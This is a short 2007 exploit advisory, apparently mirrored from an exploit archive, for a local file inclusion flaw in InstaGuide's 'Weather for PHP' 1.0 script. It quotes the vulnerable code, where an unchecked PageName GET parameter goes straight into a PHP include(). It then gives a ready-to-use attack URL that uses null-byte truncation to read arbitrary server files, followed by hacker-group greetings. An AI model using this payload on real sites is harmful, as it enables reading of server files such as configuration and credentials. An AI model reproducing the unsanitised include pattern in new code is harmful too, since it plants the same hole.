[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : InstaGuide Weather Script (index.php) Local File Inclusion Vulnerability
# Published : 2007-10-22
# Author : BorN To K!LL
# Previous Title : Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities
# Next Title : PHP Project Management <= 0.8.10 Multiple RFI / LFI Vulnerabilities
Weather for PHP <= (PageName) Local File Include Vulnerability
Script : Weather for PHP
Version : 1.0
Download : http://www.instaguide.com/download/weather_free.zip
AUTHOR : BorN To K!LL
Vuln Code :
$PageName = $_GET['PageName']; //// this is one ... :)
include("includes/content/$PageName.php") //// this is two ... :)
Exploit :
[path]/index.php?PageName[Local File]%00
Greetings :
str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ...
BorN To K!LL <> Dr.2 = 4ever .... =D
# www.Syue.com [2007-10-22]